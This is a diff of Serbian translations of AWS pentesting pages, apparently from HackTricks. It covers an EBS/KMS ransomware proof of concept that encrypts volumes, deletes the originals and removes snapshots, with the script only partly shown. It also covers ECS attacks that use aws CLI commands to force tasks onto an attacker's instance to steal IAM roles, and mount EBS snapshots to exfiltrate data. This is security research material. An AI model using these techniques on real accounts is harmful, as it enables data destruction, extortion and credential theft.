Sačekajte trenutak da novo postavljena key policy propagira. Zatim se vratite na 'victim' account i pokušajte da attach-ujete jedan od novo-enkriptovanih EBS volumes. Videćete da možete attach-ovati volume.
|
||||
Sačekajte trenutak da se novo postavljena key policy propagira. Zatim se vratite na 'victim' nalog i pokušajte da prikačite jedan od novo enkriptovanih EBS volumena. Videćete da možete prikačiti volumen.
|
||||
|
||||
 
|
||||
|
||||
Međutim, kada pokušate da zaista pokrenete EC2 instance sa prikačenim enkriptovanim EBS volume-om, pokretanje će jednostavno propasti i instanca će preći iz 'pending' stanja nazad u 'stopped' stanje zauvek, jer prikačeni EBS volumen ne može biti dekriptovan pomoću ključa budući da key policy više to ne dozvoljava.
|
||||
Međutim, kada pokušate da zaista pokrenete EC2 instance sa enkriptovanim EBS volumenom, to će jednostavno da zakaže i instanca će iz stanja 'pending' vratiti u stanje 'stopped' zauvek, pošto prikačeni EBS volumen ne može biti dekriptovan pomoću ključa jer key policy više to ne dozvoljava.
|
||||
|
||||
 
|
||||
|
||||
Ovo je python skripta koja je korišćena. Uzima AWS creds za 'victim' account i javno dostupnu AWS ARN vrednost ključa koji će se koristiti za encryption. Skripta će napraviti enkriptovane kopije SVIH dostupnih EBS volumena prikačenih na SVE EC2 instance u ciljanom AWS accountu, zatim zaustaviti svaku EC2 instancu, detach-ovati originalne EBS volumene, obrisati ih, i na kraju obrisati sve snapshots korišćene tokom procesa. To će ostaviti samo enkriptovane EBS volumene u ciljanom 'victim' accountu. KORISTITE OVU SKRIPTU SAMO U TEST OKRUŽENJU, JER JE DESTRUKTIVNA I OBRISAĆE SVE ORIGINALNE EBS VOLUMENE. Možete ih oporaviti koristeći korišćeni KMS key i vratiti ih u prvobitno stanje putem snapshots-a, ali želim da vas upozorim da je ovo na kraju dana ransomware PoC.
|
||||
Ovo je python skripta koja je korišćena. Prima AWS creds za 'victim' nalog i javno dostupnu AWS ARN vrednost za ključ koji će se koristiti za enkripciju. Skripta će napraviti enkriptovane kopije SVIH dostupnih EBS volumena prikačenih na SVE EC2 instance u ciljanom AWS nalogu, potom zaustaviti svaku EC2 instancu, odvojiti originalne EBS volumene, obrisati ih i na kraju obrisati sve snapshots korišćene tokom procesa. Ovo će ostaviti samo enkriptovane EBS volumene u ciljanom 'victim' nalogu. KORISTITE OVU SKRIPTU SAMO U TEST OKRUŽENJU, ONA JE DESTRUKTIVNA I OBRISAĆE SVE ORIGINALNE EBS VOLUME. Možete ih povratiti koristeći korišćeni KMS key i vratiti ih u prvobitno stanje preko snapshots-a, ali samo želim da vas upozorim da je ovo na kraju dana ransomware PoC.
|
||||
```
|
||||
import boto3
|
||||
import argparse
|
||||
@@ -581,8 +618,10 @@ delete_snapshots(ec2_client, snapshot_ids)
|
||||
if __name__ == "__main__":
|
||||
main()
|
||||
```
|
||||
## Reference
|
||||
## Izvori
|
||||
|
||||
- [Latacora - ECS on EC2: Pokrivanje praznina u IMDS Hardening](https://www.latacora.com/blog/2025/10/02/ecs-on-ec2-covering-gaps-in-imds-hardening/)
|
||||
- [Latacora ecs-on-ec2-gaps-in-imds-hardening Terraform repo](https://github.com/latacora/ecs-on-ec2-gaps-in-imds-hardening)
|
||||
- [Pentest Partners – Kako preneti fajlove u AWS koristeći SSM](https://www.pentestpartners.com/security-blog/how-to-transfer-files-in-aws-using-ssm/)
|
||||
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
|
||||
@@ -10,35 +10,35 @@ Za više informacija pogledajte:
|
||||
../../aws-services/aws-ecs-enum.md
|
||||
{{#endref}}
|
||||
|
||||
### Host IAM uloge
|
||||
### Host IAM Roles
|
||||
|
||||
U ECS-u se **IAM role može dodeliti task-u** koji se izvršava unutar container-a. **Ako** se task pokreće unutar **EC2** instance, **EC2 instance** će imati **drugu IAM** rolu prikačenu na nju.\
|
||||
To znači da ako uspete da **compromise** ECS instancu, potencijalno možete **dobiti IAM role povezane sa ECR i sa EC2 instancom**. Za više informacija o tome kako doći do tih credential-a pogledajte:
|
||||
U ECS-u **IAM role može biti dodeljena task-u** koji se izvršava unutar containera. **Ako** task radi unutar **EC2** instance, **EC2 instance** će imati pridruženu **drugu IAM** rolu.\
|
||||
Što znači da ako uspete da **kompromitujete** ECS instance potencijalno možete **dobiti IAM rolu povezanu sa ECR-om i EC2 instancom**. Za više informacija o tome kako da dobijete te kredencijale pogledajte:
|
||||
|
||||
{{#ref}}
|
||||
https://book.hacktricks.wiki/en/pentesting-web/ssrf-server-side-request-forgery/cloud-ssrf.html
|
||||
{{#endref}}
|
||||
|
||||
> [!CAUTION]
|
||||
> Note that if the EC2 instance is enforcing IMDSv2, [**according to the docs**](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/instance-metadata-v2-how-it-works.html), the **response of the PUT request** will have a **hop limit of 1**, making impossible to access the EC2 metadata from a container inside the EC2 instance.
|
||||
> IMDSv2 sa hop limitom 1 **ne** blokira awsvpc ili host-networked tasks—samo Docker bridge tasks sede dovoljno daleko da odgovori nestanu. Pogledajte [ECS-on-EC2 IMDS Abuse & ECS Agent Impersonation](../aws-ec2-ebs-ssm-and-vpc-post-exploitation/README.md#ecs-on-ec2-imds-abuse--ecs-agent-impersonation) za kompletan tok napada i napomene o bypass-ovanju. Nedavno [Latacora research](https://www.latacora.com/blog/2025/10/02/ecs-on-ec2-covering-gaps-in-imds-hardening/) pokazuje da awsvpc i host taskovi i dalje preuzimaju host kredencijale čak i kada je IMDSv2+h=1 primenjen.
|
||||
|
||||
### Privesc na node da se ukradu kredencijali i tajne drugih container-a
|
||||
### Privesc to node to steal other containers creds & secrets
|
||||
|
||||
Pored toga, EC2 koristi docker za pokretanje ECS task-ova, tako da ako uspete da escape-ujete na node ili **access the docker socket**, možete **proveriti** koji se **drugi container-i** pokreću, pa čak i **ući u njih** i **ukrasti njihove IAM role** koje su prikačene.
|
||||
Pored toga, EC2 koristi docker za pokretanje ECS taskova, pa ako možete da pobegnete na node ili **pristupite docker socket-u**, možete **proveriti** koji se **drugi containeri** pokreću, pa čak i **ući u njih** i **ukrasti njihove IAM role**.
|
||||
|
||||
#### Pokretanje container-a na trenutnom host-u
|
||||
#### Making containers run in current host
|
||||
|
||||
Dodatno, **EC2 instance role** obično ima dovoljno **permissions** da **update-uje container instance state** EC2 instanci koje se koriste kao nodes unutar klastera. Napadač bi mogao izmeniti **state of an instance to DRAINING**, tada će ECS **ukloniti sve task-ove sa nje**, a oni koji se izvršavaju kao **REPLICA** biće **pokrenuti na drugoj instanci,** potencijalno unutar **attacker-ove instance**, tako da može **ukrasti njihove IAM role** i eventualno osetljive informacije iz unutar container-a.
|
||||
Pored toga, **EC2 instance role** obično ima dovoljno **dozvola** da **ažurira stanje container instance** EC2 instanci koje se koriste kao nodovi u klasteru. Napadač bi mogao promeniti **stanje instance na DRAINING**, nakon čega će ECS **ukloniti sve taskove sa nje**, a oni koji se izvršavaju kao **REPLICA** biće **pokrenuti u drugoj instanci,** potencijalno unutar **napadačeve instance**, tako da on može **ukrasti njihove IAM role** i eventualno osetljive informacije iz containera.
|
||||
```bash
|
||||
aws ecs update-container-instances-state \
|
||||
--cluster <cluster> --status DRAINING --container-instances <container-instance-id>
|
||||
```
|
||||
Ista tehnika se može izvesti tako što ćete **odjaviti EC2 instancu iz clustera**. Ovo je potencijalno manje prikriveno, ali će to **naterati zadatke da se izvrše na drugim instancama:**
|
||||
Ista tehnika se može izvesti tako što ćete **deregister the EC2 instance from the cluster**. Ovo je potencijalno manje stealthy, ali će to **force the tasks to be run in other instances:**
|
||||
```bash
|
||||
aws ecs deregister-container-instance \
|
||||
--cluster <cluster> --container-instance <container-instance-id> --force
|
||||
```
|
||||
Poslednja tehnika za primoravanje ponovnog izvršavanja tasks je da se ECS-u naznači da je **task or container was stopped**. Postoje 3 potencijalna API-ja da se to uradi:
|
||||
Poslednja tehnika za prisiljavanje ponovnog izvršavanja tasks je da se ECS-u naznači da je **task ili container zaustavljen**. Postoje 3 potencijalna APIs za to:
|
||||
```bash
|
||||
# Needs: ecs:SubmitTaskStateChange
|
||||
aws ecs submit-task-state-change --cluster <value> \
|
||||
@@ -50,36 +50,36 @@ aws ecs submit-container-state-change ...
|
||||
# Needs: ecs:SubmitAttachmentStateChanges
|
||||
aws ecs submit-attachment-state-changes ...
|
||||
```
|
||||
### Ukradi osetljive informacije iz ECR kontejnera
|
||||
### Ukradite osetljive informacije iz ECR kontejnera
|
||||
|
||||
Instanca EC2 verovatno takođe ima dozvolu `ecr:GetAuthorizationToken` koja joj omogućava **preuzimanje image-a** (u njima možete tražiti osetljive informacije).
|
||||
EC2 instance će verovatno takođe imati dozvolu `ecr:GetAuthorizationToken` koja omogućava da **download images** (možete pretražiti osetljive informacije u njima).
|
||||
|
||||
|
||||
|
||||
### Montirajte EBS snapshot direktno u ECS task (configuredAtLaunch + volumeConfigurations)
|
||||
|
||||
Iskoristite native ECS EBS integraciju (2024+) da montirate sadržaj postojećeg EBS snapshot-a direktno u novi ECS task/service i pročitate njegove podatke iz kontejnera.
|
||||
Iskoristite native ECS EBS integraciju (2024+) da montirate sadržaj postojećeg EBS snapshot-a direktno unutar novog ECS task/service i pročitate njegove podatke iz kontejnera.
|
||||
|
||||
- Potrebno (najmanje):
|
||||
- ecs:RegisterTaskDefinition
|
||||
- Jedno od: ecs:RunTask ILI ecs:CreateService/ecs:UpdateService
|
||||
- Jedno od: ecs:RunTask OR ecs:CreateService/ecs:UpdateService
|
||||
- iam:PassRole na:
|
||||
- ECS infrastructure role koji se koristi za volumes (policy: `service-role/AmazonECSInfrastructureRolePolicyForVolumes`)
|
||||
- Task execution/Task roles koje task definition referencira
|
||||
- Ako je snapshot enkriptovan CMK-om: KMS dozvole za infra role (the AWS managed policy above includes the required KMS grants for AWS managed keys).
|
||||
- ECS infrastructure role korišćenu za volume-e (policy: `service-role/AmazonECSInfrastructureRolePolicyForVolumes`)
|
||||
- Task execution/Task roles referencirane u task definition
|
||||
- Ako je snapshot enkriptovan CMK-om: KMS permisije za infra rolu (AWS managed policy gore uključuje potrebne KMS grantove za AWS managed keys).
|
||||
|
||||
- Uticaj: Čitanje proizvoljnog sadržaja diska iz snapshot-a (npr. database files) unutar kontejnera i exfiltrate putem mreže/logova.
|
||||
- Uticaj: Čitanje proizvoljnog sadržaja diska iz snapshot-a (npr. baze podataka) unutar kontejnera i eksfiltracija preko mreže/logova.
|
||||
|
||||
Koraci (Fargate primer):
|
||||
Koraci (primer za Fargate):
|
||||
|
||||
1) Kreirajte ECS infrastructure role (ako ne postoji) i prikačite managed policy:
|
||||
1) Kreirajte ECS infrastructure role (ako ne postoji) i pridružite managed policy:
|
||||
```bash
|
||||
aws iam create-role --role-name ecsInfrastructureRole \
|
||||
--assume-role-policy-document '{"Version":"2012-10-17","Statement":[{"Effect":"Allow","Principal":{"Service":"ecs.amazonaws.com"},"Action":"sts:AssumeRole"}]}'
|
||||
aws iam attach-role-policy --role-name ecsInfrastructureRole \
|
||||
--policy-arn arn:aws:iam::aws:policy/service-role/AmazonECSInfrastructureRolePolicyForVolumes
|
||||
```
|
||||
2) Registrujte task definition sa volume-om označenim kao `configuredAtLaunch` i montirajte ga u container. Primer (ispiše secret, zatim spava):
|
||||
2) Registrujte task definition sa volume označenim `configuredAtLaunch` i mount-ujte ga u container. Primer (ispisuje secret pa spava):
|
||||
```json
|
||||
{
|
||||
"family": "ht-ebs-read",
|
||||
@@ -99,7 +99,7 @@ aws iam attach-role-policy --role-name ecsInfrastructureRole \
|
||||
"volumes": [ {"name":"loot", "configuredAtLaunch": true} ]
|
||||
}
|
||||
```
|
||||
3) Kreirajte ili ažurirajte servis prosleđivanjem EBS snapshot-a putem `volumeConfigurations.managedEBSVolume` (zahteva iam:PassRole na infra roli). Primer:
|
||||
3) Kreirajte ili ažurirajte servis prosleđivanjem EBS snapshot-a preko `volumeConfigurations.managedEBSVolume` (zahteva iam:PassRole na infra roli). Primer:
|
||||
```json
|
||||
{
|
||||
"cluster": "ht-ecs-ebs",
|
||||
@@ -113,7 +113,7 @@ aws iam attach-role-policy --role-name ecsInfrastructureRole \
|
||||
]
|
||||
}
|
||||
```
|
||||
4) Kada se task pokrene, container može da pročita sadržaj snapshot-a na konfigurisanoj mount putanji (npr. `/loot`). Exfiltrate putem mreže/logova task-a.
|
||||
4) Kada se task pokrene, kontejner može da pročita sadržaj snapshot-a na konfigurisanoj putanji montiranja (npr. `/loot`). Exfiltrate putem mreže ili logova taska.
|
||||
|
||||
Čišćenje:
|
||||
```bash
|
||||
@@ -121,4 +121,8 @@ aws ecs update-service --cluster ht-ecs-ebs --service ht-ebs-svc --desired-count
|
||||
aws ecs delete-service --cluster ht-ecs-ebs --service ht-ebs-svc --force
|
||||
aws ecs deregister-task-definition ht-ebs-read
|
||||
```
|
||||
## Reference
|
||||
|
||||
- [Latacora - ECS on EC2: Covering Gaps in IMDS Hardening](https://www.latacora.com/blog/2025/10/02/ecs-on-ec2-covering-gaps-in-imds-hardening/)
|
||||
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
|
||||
Reference in New Issue
Block a user